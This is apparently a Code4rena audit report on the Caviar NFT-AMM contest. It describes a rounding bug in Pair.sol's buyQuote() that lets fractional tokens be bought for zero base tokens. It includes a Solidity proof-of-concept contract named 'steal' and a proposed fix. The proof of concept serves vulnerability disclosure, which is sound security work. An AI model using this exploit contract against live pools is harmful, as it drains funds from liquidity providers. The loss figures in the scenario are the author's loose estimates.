Caviar contest - kiki_dev's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L147 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398

Vulnerability details

Impact

Whenever fractionalTokenReserves() is greater than baseTokenReserves(). The pair is vulnerable to loosing fractional tokens.

This is becasue the function buyQuote() can return 0 even though the caller is atempting to withdraw more than 0 fractional tokens. For example if fractionalTokenReserves() returned 1000 and baseTokenReserves() returned 100, an Attacker could 'buy' 9 fractional tokens and buyQuote() would return 0. the reason being is that solidity does not handle decimals. So whenever the numerator in buyQuote() is less than the denominator it will be a value less then 1 which will return 0. Almost Whenever fractionalTokenReserves() is greater than baseTokenReserves() an attacker can steal at least 1 fractional token and in very possible sitautions can take more.

For example:

    function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

If output amount = 9 BaseTokenReserves() = 100 FractionalTokenReserve() = 1000 The above function would look more like this:

    function buyQuote(9) public view returns (uint256) {
        return (9 * 1000 * 100) / ((1000 - 9) * 997);
    }

Which equals 900000 / 988027 (or 0.911) Because 0.911 is less than 1, the function will return 0.

Note

An attacker could also repeat this proccess as many times as they would like. If they were to execute this in a loop they could cause serious damage all in one transaction. With the 100 baseTokenReserves() and 1000 fractionalTokenReserves() an attaker could take up to 898 of the fractionalTokens.

More detailed scenario:

A pair is created with the base token being BNB (for easy math lets say with a price of 250). the pool works itself out and a fractional token (FRAC) is priced at 25 dollars. the pool will then have more or less a ratio of 1 BNB to 10 FRAC. if the NFT gains value and the pair is 100 BNB and 1000 FRAC. Alice (attacker) can deploy the contract below and execute the attack function Alice starts with 0 BNB and 0 FRAC the attack function will send 0 BNB to the pair contract in exchange for 9 FRAC (free FRAC) the attacker can repeat the proccess of exchanging 0 BNB for a variable amount of FRAC until baseTokenReserves() and fractionalTokenReserves() are more or less equal. to save the number of transactions the attacker runs she can put the function in a loop. After the loop completes the pair contract will have 100 BNB and 102 FRAC Alice will have 0 BNB and 898 FRAC Alice can then sell the FRAC for BNB Alice now has the 100 BNB

Proof of Concept

Contract to steal liquiduty

    contract steal {
    Pair victim;

    constructor(address _victim) {
        victim = Pair(_victim);
    }

    function attack() external {
        Pair vic = victim; 
        uint256 amountToSteal; 
        
        // Loop could start here if attacker chooses. 
        // check to see if anything can be stolen
        if( 0 == (1 * 1000 * vic.baseTokenReserves()) / ((vic.fractionalTokenReserves() - 1) * 997)) { 
            // find most amount I can steal in one transaction.
            amountToSteal = ((vic.fractionalTokenReserves() * 997) / (1000 * vic.baseTokenReserves())); 
            // confirming I can steal more than 1
            if((amountToSteal * 1000 * vic.baseTokenReserves()) / ((vic.fractionalTokenReserves() - amountToSteal) * 997) == 0) { 
                // get 'amountToSteal' for free guarenteed.
                vic.buy(amountToSteal,0); 
            }
            else {
                // on occasion it is easier to just steal 1 as opposed to calculating maximum
                vic.buy(1,0); 
            }
        } 
    }
}

Tools Used

Manual Analysis

Recommended Mitigation Steps

The problem stems from buyQuote() being allowed to return zero on a non-zero buy. My reccomended mitigation step would be to require that buyQuote() returns a non-zero value.

    /// @notice The amount of base tokens required to buy a given amount of fractional tokens.
    /// @dev Calculated using the xyk invariant and a 30bps fee.
    /// @param outputAmount The amount of fractional tokens to buy.
    /// @return inputAmount The amount of base tokens required.
    function buyQuote(uint256 outputAmount) public view returns (uint256) {
        if(0 == (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997)) 
        {
            revert InvalidOutputAmount();
        }
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

Note

Even though the attacker is stealing small amounts at a time this type of attack can be done in a loop that would allow them take a decent amount each time. Along with that if an attacker simply wanted to have caviar loose credibility and did not have monetary motives. performing this attack would show users that pairs have the potential to loose most all of its liquiduity, thus making this project appear unsafe and the project will loose its user base.